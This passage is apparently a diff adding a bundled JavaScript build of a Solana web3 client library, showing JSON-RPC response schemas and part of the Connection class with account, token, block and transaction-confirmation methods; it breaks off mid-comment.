previousBlockhash: string(), + parentSlot: number(), + transactions: array(type({ + transaction: ParsedConfirmedTransactionResult, + meta: nullable(ParsedConfirmedTransactionMetaResult), + version: optional(TransactionVersionStruct) + })), + rewards: optional(array(RewardsResult)), + blockTime: nullable(number()), + blockHeight: nullable(number()) +}))); + +/** + * Expected parsed JSON RPC response for the "getBlock" message when `transactionDetails` is `accounts` + */ +const GetParsedAccountsModeBlockRpcResult = jsonRpcResult(nullable(type({ + blockhash: string(), + previousBlockhash: string(), + parentSlot: number(), + transactions: array(type({ + transaction: ConfirmedTransactionAccountsModeResult, + meta: nullable(ParsedConfirmedTransactionMetaResult), + version: optional(TransactionVersionStruct) + })), + rewards: optional(array(RewardsResult)), + blockTime: nullable(number()), + blockHeight: nullable(number()) +}))); + +/** + * Expected parsed JSON RPC response for the "getBlock" message when `transactionDetails` is `none` + */ +const GetParsedNoneModeBlockRpcResult = jsonRpcResult(nullable(type({ + blockhash: string(), + previousBlockhash: string(), + parentSlot: number(), + rewards: optional(array(RewardsResult)), + blockTime: nullable(number()), + blockHeight: nullable(number()) +}))); + +/** + * Expected JSON RPC response for the "getConfirmedBlock" message + * + * @deprecated Deprecated since RPC v1.8.0. Please use {@link GetBlockRpcResult} instead. + */ +const GetConfirmedBlockRpcResult = jsonRpcResult(nullable(type({ + blockhash: string(), + previousBlockhash: string(), + parentSlot: number(), + transactions: array(type({ + transaction: ConfirmedTransactionResult, + meta: nullable(ConfirmedTransactionMetaResult) + })), + rewards: optional(array(RewardsResult)), + blockTime: nullable(number()) +}))); + +/** + * Expected JSON RPC response for the "getBlock" message + */ +const GetBlockSignaturesRpcResult = jsonRpcResult(nullable(type({ + blockhash: string(), + previousBlockhash: string(), + parentSlot: number(), + signatures: array(string()), + blockTime: nullable(number()) +}))); + +/** + * Expected JSON RPC response for the "getTransaction" message + */ +const GetTransactionRpcResult = jsonRpcResult(nullable(type({ + slot: number(), + meta: nullable(ConfirmedTransactionMetaResult), + blockTime: optional(nullable(number())), + transaction: ConfirmedTransactionResult, + version: optional(TransactionVersionStruct) +}))); + +/** + * Expected parsed JSON RPC response for the "getTransaction" message + */ +const GetParsedTransactionRpcResult = jsonRpcResult(nullable(type({ + slot: number(), + transaction: ParsedConfirmedTransactionResult, + meta: nullable(ParsedConfirmedTransactionMetaResult), + blockTime: optional(nullable(number())), + version: optional(TransactionVersionStruct) +}))); + +/** + * Expected JSON RPC response for the "getRecentBlockhash" message + * + * @deprecated Deprecated since RPC v1.8.0. Please use {@link GetLatestBlockhashRpcResult} instead. + */ +const GetRecentBlockhashAndContextRpcResult = jsonRpcResultAndContext(type({ + blockhash: string(), + feeCalculator: type({ + lamportsPerSignature: number() + }) +})); + +/** + * Expected JSON RPC response for the "getLatestBlockhash" message + */ +const GetLatestBlockhashRpcResult = jsonRpcResultAndContext(type({ + blockhash: string(), + lastValidBlockHeight: number() +})); + +/** + * Expected JSON RPC response for the "isBlockhashValid" message + */ +const IsBlockhashValidRpcResult = jsonRpcResultAndContext(boolean()); +const PerfSampleResult = type({ + slot: number(), + numTransactions: number(), + numSlots: number(), + samplePeriodSecs: number() +}); + +/* + * Expected JSON RPC response for "getRecentPerformanceSamples" message + */ +const GetRecentPerformanceSamplesRpcResult = jsonRpcResult(array(PerfSampleResult)); + +/** + * Expected JSON RPC response for the "getFeeCalculatorForBlockhash" message + */ +const GetFeeCalculatorRpcResult = jsonRpcResultAndContext(nullable(type({ + feeCalculator: type({ + lamportsPerSignature: number() + }) +}))); + +/** + * Expected JSON RPC response for the "requestAirdrop" message + */ +const RequestAirdropRpcResult = jsonRpcResult(string()); + +/** + * Expected JSON RPC response for the "sendTransaction" message + */ +const SendTransactionRpcResult = jsonRpcResult(string()); + +/** + * Information about the latest slot being processed by a node + */ + +/** + * Parsed account data + */ + +/** + * Stake Activation data + */ + +/** + * Data slice argument for getProgramAccounts + */ + +/** + * Memory comparison filter for getProgramAccounts + */ + +/** + * Data size comparison filter for getProgramAccounts + */ + +/** + * A filter object for getProgramAccounts + */ + +/** + * Configuration object for getProgramAccounts requests + */ + +/** + * Configuration object for getParsedProgramAccounts + */ + +/** + * Configuration object for getMultipleAccounts + */ + +/** + * Configuration object for `getStakeActivation` + */ + +/** + * Configuration object for `getStakeActivation` + */ + +/** + * Configuration object for `getStakeActivation` + */ + +/** + * Configuration object for `getNonce` + */ + +/** + * Configuration object for `getNonceAndContext` + */ + +/** + * Information describing an account + */ + +/** + * Account information identified by pubkey + */ + +/** + * Callback function for account change notifications + */ + +/** + * Callback function for program account change notifications + */ + +/** + * Callback function for slot change notifications + */ + +/** + * Callback function for slot update notifications + */ + +/** + * Callback function for signature status notifications + */ + +/** + * Signature status notification with transaction result + */ + +/** + * Signature received notification + */ + +/** + * Callback function for signature notifications + */ + +/** + * Signature subscription options + */ + +/** + * Callback function for root change notifications + */ + +/** + * @internal + */ +const LogsResult = type({ + err: TransactionErrorResult, + logs: array(string()), + signature: string() +}); + +/** + * Logs result. + */ + +/** + * Expected JSON RPC response for the "logsNotification" message. + */ +const LogsNotificationResult = type({ + result: notificationResultAndContext(LogsResult), + subscription: number() +}); + +/** + * Filter for log subscriptions. + */ + +/** + * Callback function for log notifications. + */ + +/** + * Signature result + */ + +/** + * Transaction error + */ + +/** + * Transaction confirmation status + *
+ *   'processed': Transaction landed in a block which has reached 1 confirmation by the connected node
+ *   'confirmed': Transaction landed in a block which has reached 1 confirmation by the cluster
+ *   'finalized': Transaction landed in a block which has been finalized by the cluster
+ * 
+ */ + +/** + * Signature status + */ + +/** + * A confirmed signature with its status + */ + +/** + * An object defining headers to be passed to the RPC server + */ + +/** + * The type of the JavaScript `fetch()` API + */ + +/** + * A callback used to augment the outgoing HTTP request + */ + +/** + * Configuration for instantiating a Connection + */ + +/** @internal */ +const COMMON_HTTP_HEADERS = { + 'solana-client': `js/${"1.0.0-maintenance"}` +}; + +/** + * A connection to a fullnode JSON RPC endpoint + */ +class Connection { + /** + * Establish a JSON RPC connection + * + * @param endpoint URL to the fullnode JSON RPC endpoint + * @param commitmentOrConfig optional default commitment level or optional ConnectionConfig configuration object + */ + constructor(endpoint, _commitmentOrConfig) { + /** @internal */ + this._commitment = void 0; + /** @internal */ + this._confirmTransactionInitialTimeout = void 0; + /** @internal */ + this._rpcEndpoint = void 0; + /** @internal */ + this._rpcWsEndpoint = void 0; + /** @internal */ + this._rpcClient = void 0; + /** @internal */ + this._rpcRequest = void 0; + /** @internal */ + this._rpcBatchRequest = void 0; + /** @internal */ + this._rpcWebSocket = void 0; + /** @internal */ + this._rpcWebSocketConnected = false; + /** @internal */ + this._rpcWebSocketHeartbeat = null; + /** @internal */ + this._rpcWebSocketIdleTimeout = null; + /** @internal + * A number that we increment every time an active connection closes. + * Used to determine whether the same socket connection that was open + * when an async operation started is the same one that's active when + * its continuation fires. + * + */ + this._rpcWebSocketGeneration = 0; + /** @internal */ + this._disableBlockhashCaching = false; + /** @internal */ + this._pollingBlockhash = false; + /** @internal */ + this._blockhashInfo = { + latestBlockhash: null, + lastFetch: 0, + transactionSignatures: [], + simulatedSignatures: [] + }; + /** @internal */ + this._nextClientSubscriptionId = 0; + /** @internal */ + this._subscriptionDisposeFunctionsByClientSubscriptionId = {}; + /** @internal */ + this._subscriptionHashByClientSubscriptionId = {}; + /** @internal */ + this._subscriptionStateChangeCallbacksByHash = {}; + /** @internal */ + this._subscriptionCallbacksByServerSubscriptionId = {}; + /** @internal */ + this._subscriptionsByHash = {}; + /** + * Special case. + * After a signature is processed, RPCs automatically dispose of the + * subscription on the server side. We need to track which of these + * subscriptions have been disposed in such a way, so that we know + * whether the client is dealing with a not-yet-processed signature + * (in which case we must tear down the server subscription) or an + * already-processed signature (in which case the client can simply + * clear out the subscription locally without telling the server). + * + * NOTE: There is a proposal to eliminate this special case, here: + * https://github.com/solana-labs/solana/issues/18892 + */ + /** @internal */ + this._subscriptionsAutoDisposedByRpc = new Set(); + /* + * Returns the current block height of the node + */ + this.getBlockHeight = (() => { + const requestPromises = {}; + return async commitmentOrConfig => { + const { + commitment, + config + } = extractCommitmentFromConfig(commitmentOrConfig); + const args = this._buildArgs([], commitment, undefined /* encoding */, config); + const requestHash = fastStableStringify(args); + requestPromises[requestHash] = requestPromises[requestHash] ?? (async () => { + try { + const unsafeRes = await this._rpcRequest('getBlockHeight', args); + const res = create(unsafeRes, jsonRpcResult(number())); + if ('error' in res) { + throw new SolanaJSONRPCError(res.error, 'failed to get block height information'); + } + return res.result; + } finally { + delete requestPromises[requestHash]; + } + })(); + return await requestPromises[requestHash]; + }; + })(); + let wsEndpoint; + let httpHeaders; + let fetch; + let fetchMiddleware; + let disableRetryOnRateLimit; + let httpAgent; + if (_commitmentOrConfig && typeof _commitmentOrConfig === 'string') { + this._commitment = _commitmentOrConfig; + } else if (_commitmentOrConfig) { + this._commitment = _commitmentOrConfig.commitment; + this._confirmTransactionInitialTimeout = _commitmentOrConfig.confirmTransactionInitialTimeout; + wsEndpoint = _commitmentOrConfig.wsEndpoint; + httpHeaders = _commitmentOrConfig.httpHeaders; + fetch = _commitmentOrConfig.fetch; + fetchMiddleware = _commitmentOrConfig.fetchMiddleware; + disableRetryOnRateLimit = _commitmentOrConfig.disableRetryOnRateLimit; + httpAgent = _commitmentOrConfig.httpAgent; + } + this._rpcEndpoint = assertEndpointUrl(endpoint); + this._rpcWsEndpoint = wsEndpoint || makeWebsocketUrl(endpoint); + this._rpcClient = createRpcClient(endpoint, httpHeaders, fetch, fetchMiddleware, disableRetryOnRateLimit, httpAgent); + this._rpcRequest = createRpcRequest(this._rpcClient); + this._rpcBatchRequest = createRpcBatchRequest(this._rpcClient); + this._rpcWebSocket = new RpcWebSocketClient(this._rpcWsEndpoint, { + autoconnect: false, + max_reconnects: Infinity + }); + this._rpcWebSocket.on('open', this._wsOnOpen.bind(this)); + this._rpcWebSocket.on('error', this._wsOnError.bind(this)); + this._rpcWebSocket.on('close', this._wsOnClose.bind(this)); + this._rpcWebSocket.on('accountNotification', this._wsOnAccountNotification.bind(this)); + this._rpcWebSocket.on('programNotification', this._wsOnProgramAccountNotification.bind(this)); + this._rpcWebSocket.on('slotNotification', this._wsOnSlotNotification.bind(this)); + this._rpcWebSocket.on('slotsUpdatesNotification', this._wsOnSlotUpdatesNotification.bind(this)); + this._rpcWebSocket.on('signatureNotification', this._wsOnSignatureNotification.bind(this)); + this._rpcWebSocket.on('rootNotification', this._wsOnRootNotification.bind(this)); + this._rpcWebSocket.on('logsNotification', this._wsOnLogsNotification.bind(this)); + } + + /** + * The default commitment used for requests + */ + get commitment() { + return this._commitment; + } + + /** + * The RPC endpoint + */ + get rpcEndpoint() { + return this._rpcEndpoint; + } + + /** + * Fetch the balance for the specified public key, return with context + */ + async getBalanceAndContext(publicKey, commitmentOrConfig) { + /** @internal */ + const { + commitment, + config + } = extractCommitmentFromConfig(commitmentOrConfig); + const args = this._buildArgs([publicKey.toBase58()], commitment, undefined /* encoding */, config); + const unsafeRes = await this._rpcRequest('getBalance', args); + const res = create(unsafeRes, jsonRpcResultAndContext(number())); + if ('error' in res) { + throw new SolanaJSONRPCError(res.error, `failed to get balance for ${publicKey.toBase58()}`); + } + return res.result; + } + + /** + * Fetch the balance for the specified public key + */ + async getBalance(publicKey, commitmentOrConfig) { + return await this.getBalanceAndContext(publicKey, commitmentOrConfig).then(x => x.value).catch(e => { + throw new Error('failed to get balance of account ' + publicKey.toBase58() + ': ' + e); + }); + } + + /** + * Fetch the estimated production time of a block + */ + async getBlockTime(slot) { + const unsafeRes = await this._rpcRequest('getBlockTime', [slot]); + const res = create(unsafeRes, jsonRpcResult(nullable(number()))); + if ('error' in res) { + throw new SolanaJSONRPCError(res.error, `failed to get block time for slot ${slot}`); + } + return res.result; + } + + /** + * Fetch the lowest slot that the node has information about in its ledger. + * This value may increase over time if the node is configured to purge older ledger data + */ + async getMinimumLedgerSlot() { + const unsafeRes = await this._rpcRequest('minimumLedgerSlot', []); + const res = create(unsafeRes, jsonRpcResult(number())); + if ('error' in res) { + throw new SolanaJSONRPCError(res.error, 'failed to get minimum ledger slot'); + } + return res.result; + } + + /** + * Fetch the slot of the lowest confirmed block that has not been purged from the ledger + */ + async getFirstAvailableBlock() { + const unsafeRes = await this._rpcRequest('getFirstAvailableBlock', []); + const res = create(unsafeRes, SlotRpcResult); + if ('error' in res) { + throw new SolanaJSONRPCError(res.error, 'failed to get first available block'); + } + return res.result; + } + + /** + * Fetch information about the current supply + */ + async getSupply(config) { + let configArg = {}; + if (typeof config === 'string') { + configArg = { + commitment: config + }; + } else if (config) { + configArg = { + ...config, + commitment: config && config.commitment || this.commitment + }; + } else { + configArg = { + commitment: this.commitment + }; + } + const unsafeRes = await this._rpcRequest('getSupply', [configArg]); + const res = create(unsafeRes, GetSupplyRpcResult); + if ('error' in res) { + throw new SolanaJSONRPCError(res.error, 'failed to get supply'); + } + return res.result; + } + + /** + * Fetch the current supply of a token mint + */ + async getTokenSupply(tokenMintAddress, commitment) { + const args = this._buildArgs([tokenMintAddress.toBase58()], commitment); + const unsafeRes = await this._rpcRequest('getTokenSupply', args); + const res = create(unsafeRes, jsonRpcResultAndContext(TokenAmountResult)); + if ('error' in res) { + throw new SolanaJSONRPCError(res.error, 'failed to get token supply'); + } + return res.result; + } + + /** + * Fetch the current balance of a token account + */ + async getTokenAccountBalance(tokenAddress, commitment) { + const args = this._buildArgs([tokenAddress.toBase58()], commitment); + const unsafeRes = await this._rpcRequest('getTokenAccountBalance', args); + const res = create(unsafeRes, jsonRpcResultAndContext(TokenAmountResult)); + if ('error' in res) { + throw new SolanaJSONRPCError(res.error, 'failed to get token account balance'); + } + return res.result; + } + + /** + * Fetch all the token accounts owned by the specified account + * + * @return {Promise} + */ + async getTokenAccountsByOwner(ownerAddress, filter, commitmentOrConfig) { + const { + commitment, + config + } = extractCommitmentFromConfig(commitmentOrConfig); + let _args = [ownerAddress.toBase58()]; + if ('mint' in filter) { + _args.push({ + mint: filter.mint.toBase58() + }); + } else { + _args.push({ + programId: filter.programId.toBase58() + }); + } + const args = this._buildArgs(_args, commitment, 'base64', config); + const unsafeRes = await this._rpcRequest('getTokenAccountsByOwner', args); + const res = create(unsafeRes, GetTokenAccountsByOwner); + if ('error' in res) { + throw new SolanaJSONRPCError(res.error, `failed to get token accounts owned by account ${ownerAddress.toBase58()}`); + } + return res.result; + } + + /** + * Fetch parsed token accounts owned by the specified account + * + * @return {Promise}>>>} + */ + async getParsedTokenAccountsByOwner(ownerAddress, filter, commitment) { + let _args = [ownerAddress.toBase58()]; + if ('mint' in filter) { + _args.push({ + mint: filter.mint.toBase58() + }); + } else { + _args.push({ + programId: filter.programId.toBase58() + }); + } + const args = this._buildArgs(_args, commitment, 'jsonParsed'); + const unsafeRes = await this._rpcRequest('getTokenAccountsByOwner', args); + const res = create(unsafeRes, GetParsedTokenAccountsByOwner); + if ('error' in res) { + throw new SolanaJSONRPCError(res.error, `failed to get token accounts owned by account ${ownerAddress.toBase58()}`); + } + return res.result; + } + + /** + * Fetch the 20 largest accounts with their current balances + */ + async getLargestAccounts(config) { + const arg = { + ...config, + commitment: config && config.commitment || this.commitment + }; + const args = arg.filter || arg.commitment ? [arg] : []; + const unsafeRes = await this._rpcRequest('getLargestAccounts', args); + const res = create(unsafeRes, GetLargestAccountsRpcResult); + if ('error' in res) { + throw new SolanaJSONRPCError(res.error, 'failed to get largest accounts'); + } + return res.result; + } + + /** + * Fetch the 20 largest token accounts with their current balances + * for a given mint. + */ + async getTokenLargestAccounts(mintAddress, commitment) { + const args = this._buildArgs([mintAddress.toBase58()], commitment); + const unsafeRes = await this._rpcRequest('getTokenLargestAccounts', args); + const res = create(unsafeRes, GetTokenLargestAccountsResult); + if ('error' in res) { + throw new SolanaJSONRPCError(res.error, 'failed to get token largest accounts'); + } + return res.result; + } + + /** + * Fetch all the account info for the specified public key, return with context + */ + async getAccountInfoAndContext(publicKey, commitmentOrConfig) { + const { + commitment, + config + } = extractCommitmentFromConfig(commitmentOrConfig); + const args = this._buildArgs([publicKey.toBase58()], commitment, 'base64', config); + const unsafeRes = await this._rpcRequest('getAccountInfo', args); + const res = create(unsafeRes, jsonRpcResultAndContext(nullable(AccountInfoResult))); + if ('error' in res) { + throw new SolanaJSONRPCError(res.error, `failed to get info about account ${publicKey.toBase58()}`); + } + return res.result; + } + + /** + * Fetch parsed account info for the specified public key + */ + async getParsedAccountInfo(publicKey, commitmentOrConfig) { + const { + commitment, + config + } = extractCommitmentFromConfig(commitmentOrConfig); + const args = this._buildArgs([publicKey.toBase58()], commitment, 'jsonParsed', config); + const unsafeRes = await this._rpcRequest('getAccountInfo', args); + const res = create(unsafeRes, jsonRpcResultAndContext(nullable(ParsedAccountInfoResult))); + if ('error' in res) { + throw new SolanaJSONRPCError(res.error, `failed to get info about account ${publicKey.toBase58()}`); + } + return res.result; + } + + /** + * Fetch all the account info for the specified public key + */ + async getAccountInfo(publicKey, commitmentOrConfig) { + try { + const res = await this.getAccountInfoAndContext(publicKey, commitmentOrConfig); + return res.value; + } catch (e) { + throw new Error('failed to get info about account ' + publicKey.toBase58() + ': ' + e); + } + } + + /** + * Fetch all the account info for multiple accounts specified by an array of public keys, return with context + */ + async getMultipleParsedAccounts(publicKeys, rawConfig) { + const { + commitment, + config + } = extractCommitmentFromConfig(rawConfig); + const keys = publicKeys.map(key => key.toBase58()); + const args = this._buildArgs([keys], commitment, 'jsonParsed', config); + const unsafeRes = await this._rpcRequest('getMultipleAccounts', args); + const res = create(unsafeRes, jsonRpcResultAndContext(array(nullable(ParsedAccountInfoResult)))); + if ('error' in res) { + throw new SolanaJSONRPCError(res.error, `failed to get info for accounts ${keys}`); + } + return res.result; + } + + /** + * Fetch all the account info for multiple accounts specified by an array of public keys, return with context + */ + async getMultipleAccountsInfoAndContext(publicKeys, commitmentOrConfig) { + const { + commitment, + config + } = extractCommitmentFromConfig(commitmentOrConfig); + const keys = publicKeys.map(key => key.toBase58()); + const args = this._buildArgs([keys], commitment, 'base64', config); + const unsafeRes = await this._rpcRequest('getMultipleAccounts', args); + const res = create(unsafeRes, jsonRpcResultAndContext(array(nullable(AccountInfoResult)))); + if ('error' in res) { + throw new SolanaJSONRPCError(res.error, `failed to get info for accounts ${keys}`); + } + return res.result; + } + + /** + * Fetch all the account info for multiple accounts specified by an array of public keys + */ + async getMultipleAccountsInfo(publicKeys, commitmentOrConfig) { + const res = await this.getMultipleAccountsInfoAndContext(publicKeys, commitmentOrConfig); + return res.value; + } + + /** + * Returns epoch activation information for a stake account that has been delegated + * + * @deprecated Deprecated since RPC v1.18; will be removed in a future version. + */ + async getStakeActivation(publicKey, commitmentOrConfig, epoch) { + const { + commitment, + config + } = extractCommitmentFromConfig(commitmentOrConfig); + const args = this._buildArgs([publicKey.toBase58()], commitment, undefined /* encoding */, { + ...config, + epoch: epoch != null ? epoch : config?.epoch + }); + const unsafeRes = await this._rpcRequest('getStakeActivation', args); + const res = create(unsafeRes, jsonRpcResult(StakeActivationResult)); + if ('error' in res) { + throw new SolanaJSONRPCError(res.error, `failed to get Stake Activation ${publicKey.toBase58()}`); + } + return res.result; + } + + /** + * Fetch all the accounts owned by the specified program id + * + * @return {Promise}>>} + */ + + // eslint-disable-next-line no-dupe-class-members + + // eslint-disable-next-line no-dupe-class-members + async getProgramAccounts(programId, configOrCommitment) { + const { + commitment, + config + } = extractCommitmentFromConfig(configOrCommitment); + const { + encoding, + ...configWithoutEncoding + } = config || {}; + const args = this._buildArgs([programId.toBase58()], commitment, encoding || 'base64', { + ...configWithoutEncoding, + ...(configWithoutEncoding.filters ? { + filters: applyDefaultMemcmpEncodingToFilters(configWithoutEncoding.filters) + } : null) + }); + const unsafeRes = await this._rpcRequest('getProgramAccounts', args); + const baseSchema = array(KeyedAccountInfoResult); + const res = configWithoutEncoding.withContext === true ? create(unsafeRes, jsonRpcResultAndContext(baseSchema)) : create(unsafeRes, jsonRpcResult(baseSchema)); + if ('error' in res) { + throw new SolanaJSONRPCError(res.error, `failed to get accounts owned by program ${programId.toBase58()}`); + } + return res.result; + } + + /** + * Fetch and parse all the accounts owned by the specified program id + * + * @return {Promise}>>} + */ + async getParsedProgramAccounts(programId, configOrCommitment) { + const { + commitment, + config + } = extractCommitmentFromConfig(configOrCommitment); + const args = this._buildArgs([programId.toBase58()], commitment, 'jsonParsed', config); + const unsafeRes = await this._rpcRequest('getProgramAccounts', args); + const res = create(unsafeRes, jsonRpcResult(array(KeyedParsedAccountInfoResult))); + if ('error' in res) { + throw new SolanaJSONRPCError(res.error, `failed to get accounts owned by program ${programId.toBase58()}`); + } + return res.result; + } + + /** @deprecated Instead, call `confirmTransaction` and pass in {@link TransactionConfirmationStrategy} */ + // eslint-disable-next-line no-dupe-class-members + + // eslint-disable-next-line no-dupe-class-members + async confirmTransaction(strategy, commitment) { + let rawSignature; + if (typeof strategy == 'string') { + rawSignature = strategy; + } else { + const config = strategy; + if (config.abortSignal?.aborted) { + return Promise.reject(config.abortSignal.reason); + } + rawSignature = config.signature; + } + let decodedSignature; + try { + decodedSignature = bs58.decode(rawSignature); + } catch (err) { + throw new Error('signature must be base58 encoded: ' + rawSignature); + } + assert(decodedSignature.length === 64, 'signature has invalid length'); + if (typeof strategy === 'string') { + return await this.confirmTransactionUsingLegacyTimeoutStrategy({ + commitment: commitment || this.commitment, + signature: rawSignature + }); + } else if ('lastValidBlockHeight' in strategy) { + return await this.confirmTransactionUsingBlockHeightExceedanceStrategy({ + commitment: commitment || this.commitment, + strategy + }); + } else { + return await this.confirmTransactionUsingDurableNonceStrategy({ + commitment: commitment || this.commitment, + strategy + }); + } + } + getCancellationPromise(signal) { + return new Promise((_, reject) => { + if (signal == null) { + return; + } + if (signal.aborted) { + reject(signal.reason); + } else { + signal.addEventListener('abort', () => { + reject(signal.reason); + }); + } + }); + } + getTransactionConfirmationPromise({ + commitment, + signature + }) { + let signatureSubscriptionId; + let disposeSignatureSubscriptionStateChangeObserver; + let done = false; + const confirmationPromise = new Promise((resolve, reject) => { + try { + signatureSubscriptionId = this.onSignature(signature, (result, context) => { + signatureSubscriptionId = undefined; + const response = { + context, + value: result + }; + resolve({ + __type: TransactionStatus.PROCESSED, + response + }); + }, commitment); + const subscriptionSetupPromise = new Promise(resolveSubscriptionSetup => { + if (signatureSubscriptionId == null) { + resolveSubscriptionSetup(); + } else { + disposeSignatureSubscriptionStateChangeObserver = this._onSubscriptionStateChange(signatureSubscriptionId, nextState => { + if (nextState === 'subscribed') { + resolveSubscriptionSetup(); + } + }); + } + }); + (async () => { + await subscriptionSetupPromise; + if (done) return; + const response = await this.getSignatureStatus(signature); + if (done) return; + if (response == null) { + return; + } + const { + context, + value + } = response; + if (value == null) { + return; + } + if (value?.err) { + reject(value.err); + } else { + switch (commitment) { + case 'confirmed': + case 'single': + case 'singleGossip': + { + if (value.confirmationStatus === 'processed') { + return; + } + break; + } + case 'finalized': + case 'max': + case 'root': + { + if (value.confirmationStatus === 'processed' || value.confirmationStatus === 'confirmed') { + return; + } + break; + } + // exhaust enums to ensure full coverage + case 'processed': + case 'recent': + } + done = true; + resolve({ + __type: TransactionStatus.PROCESSED, + response: { + context, + value + } + }); + } + })(); + } catch (err) { + reject(err); + } + }); + const abortConfirmation = () => { + if (disposeSignatureSubscriptionStateChangeObserver) { + disposeSignatureSubscriptionStateChangeObserver(); + disposeSignatureSubscriptionStateChangeObserver = undefined; + } + if (signatureSubscriptionId != null) { + this.removeSignatureListener(signatureSubscriptionId); + signatureSubscriptionId = undefined; + } + }; + return { + abortConfirmation, + confirmationPromise + }; + } + async confirmTransactionUsingBlockHeightExceedanceStrategy({ + commitment, + strategy: { + abortSignal, + lastValidBlockHeight, + signature + } + }) { + let done = false; + const expiryPromise = new Promise(resolve => { + const checkBlockHeight = async () => { + try { + const blockHeight = await this.getBlockHeight(commitment); + return blockHeight; + } catch (_e) { + return -1; + } + }; + (async () => { + let currentBlockHeight = await checkBlockHeight(); + if (done) return; + while (currentBlockHeight <= lastValidBlockHeight) { + await sleep(1000); + if (done) return; + currentBlockHeight = await checkBlockHeight(); + if (done) return; + } + resolve({ + __type: TransactionStatus.BLOCKHEIGHT_EXCEEDED + }); + })(); + }); + const { + abortConfirmation, + confirmationPromise + } = this.getTransactionConfirmationPromise({ + commitment, + signature + }); + const cancellationPromise = this.getCancellationPromise(abortSignal); + let result; + try { + const outcome = await Promise.race([cancellationPromise, confirmationPromise, expiryPromise]); + if (outcome.__type === TransactionStatus.PROCESSED) { + result = outcome.response; + } else { + throw new TransactionExpiredBlockheightExceededError(signature); + } + } finally { + done = true; + abortConfirmation(); + } + return result; + } + async confirmTransactionUsingDurableNonceStrategy({ + commitment, + strategy: { + abortSignal, + minContextSlot, + nonceAccountPubkey, + nonceValue, + signature + } + }) { + let done = false; + const expiryPromise = new Promise(resolve => { + let currentNonceValue = nonceValue; + let lastCheckedSlot = null; + const getCurrentNonceValue = async () => { + try { + const { + context, + value: nonceAccount + } = await this.getNonceAndContext(nonceAccountPubkey, { + commitment, + minContextSlot + }); + lastCheckedSlot = context.slot; + return nonceAccount?.nonce; + } catch (e) { + // If for whatever reason we can't reach/read the nonce + // account, just keep using the last-known value. + return currentNonceValue; + } + }; + (async () => { + currentNonceValue = await getCurrentNonceValue(); + if (done) return; + while (true // eslint-disable-line no-constant-condition + ) { + if (nonceValue !== currentNonceValue) { + resolve({ + __type: TransactionStatus.NONCE_INVALID, + slotInWhichNonceDidAdvance: lastCheckedSlot + }); + return; + } + await sleep(2000); + if (done) return; + currentNonceValue = await getCurrentNonceValue(); + if (done) return; + } + })(); + }); + const { + abortConfirmation, + confirmationPromise + } = this.getTransactionConfirmationPromise({ + commitment, + signature + }); + const cancellationPromise = this.getCancellationPromise(abortSignal); + let result; + try { + const outcome = await Promise.race([cancellationPromise, confirmationPromise, expiryPromise]); + if (outcome.__type === TransactionStatus.PROCESSED) { + result = outcome.response; + } else { + // Double check that the transaction is indeed unconfirmed. + let signatureStatus; + while (true // eslint-disable-line no-constant-condition + ) { + const status = await this.getSignatureStatus(signature); + if (status == null) { + break; + } + if (status.context.slot < (outcome.slotInWhichNonceDidAdvance ?? minContextSlot)) { + await sleep(400); + continue; + } + signatureStatus = status; + break; + } + if (signatureStatus?.value) { + const commitmentForStatus = commitment || 'finalized'; + const { + confirmationStatus + } = signatureStatus.value; + switch (commitmentForStatus) { + case 'processed': + case 'recent': + if (confirmationStatus !== 'processed' && confirmationStatus !== 'confirmed' && confirmationStatus !== 'finalized') { + throw new TransactionExpiredNonceInvalidError(signature); + } + break; + case 'confirmed': + case 'single': + case 'singleGossip': + if (confirmationStatus !== 'confirmed' && confirmationStatus !== 'finalized') { + throw new TransactionExpiredNonceInvalidError(signature); + } + break; + case 'finalized': + case 'max': + case 'root': + if (confirmationStatus !== 'finalized') { + throw new TransactionExpiredNonceInvalidError(signature); + } + break; + default: + // Exhaustive switch. + // eslint-disable-next-line @typescript-eslint/no-unused-vars + (_ => {})(commitmentForStatus); + } + result = { + context: signatureStatus.context, + value: { + err: signatureStatus.value.err + } + }; + } else { + throw new TransactionExpiredNonceInvalidError(signature); + } + } + } finally { + done = true; + abortConfirmation(); + } + return result; + } + async confirmTransactionUsingLegacyTimeoutStrategy({ + commitment, + signature + }) { + let timeoutId; + const expiryPromise = new Promise(resolve => { + let timeoutMs = this._confirmTransactionInitialTimeout || 60 * 1000; + switch (commitment) { + case 'processed': + case 'recent': + case 'single': + case 'confirmed': + case 'singleGossip': + { + timeoutMs = this._confirmTransactionInitialTimeout || 30 * 1000; + break; + } + } + timeoutId = setTimeout(() => resolve({ + __type: TransactionStatus.TIMED_OUT, + timeoutMs + }), timeoutMs); + }); + const { + abortConfirmation, + confirmationPromise + } = this.getTransactionConfirmationPromise({ + commitment, + signature + }); + let result; + try { + const outcome = await Promise.race([confirmationPromise, expiryPromise]); + if (outcome.__type === TransactionStatus.PROCESSED) { + result = outcome.response; + } else { + throw new TransactionExpiredTimeoutError(signature, outcome.timeoutMs / 1000); + } + } finally { + clearTimeout(timeoutId); + abortConfirmation(); + } + return result; + } + + /** + * Return the list of nodes that are currently participating in the cluster + */ + async getClusterNodes() { + const unsafeRes = await this._rpcRequest('getClusterNodes', []); + const res = create(unsafeRes, jsonRpcResult(array(ContactInfoResult))); + if ('error' in res) { + throw new SolanaJSONRPCError(res.error, 'failed to get cluster nodes'); + } + return res.result; + } + + /** + * Return the list of nodes that are currently participating in the cluster + */ + async getVoteAccounts(commitment) { + const args = this._buildArgs([], commitment); + const unsafeRes = await this._rpcRequest('getVoteAccounts', args); + const res = create(unsafeRes, GetVoteAccounts); + if ('error' in res) { + throw new SolanaJSONRPCError(res.error, 'failed to get vote accounts'); + } + return res.result; + } + + /** + * Fetch the current slot that the node is processing + */ + async getSlot(commitmentOrConfig) { + const { + commitment, + config + } = extractCommitmentFromConfig(commitmentOrConfig); + const args = this._buildArgs([], commitment, undefined /* encoding */, config); + const unsafeRes = await this._rpcRequest('getSlot', args); + const res = create(unsafeRes, jsonRpcResult(number())); + if ('error' in res) { + throw new SolanaJSONRPCError(res.error, 'failed to get slot'); + } + return res.result; + } + + /** + * Fetch the current slot leader of the cluster + */ + async getSlotLeader(commitmentOrConfig) { + const { + commitment, + config + } = extractCommitmentFromConfig(commitmentOrConfig); + const args = this._buildArgs([], commitment, undefined /* encoding */, config); + const unsafeRes = await this._rpcRequest('getSlotLeader', args); + const res = create(unsafeRes, jsonRpcResult(string())); + if ('error' in res) { + throw new SolanaJSONRPCError(res.error, 'failed to get slot leader'); + } + return res.result; + } + + /** + * Fetch `limit` number of slot leaders starting from `startSlot` + * + * @param startSlot fetch slot leaders starting from this slot + * @param limit number of slot 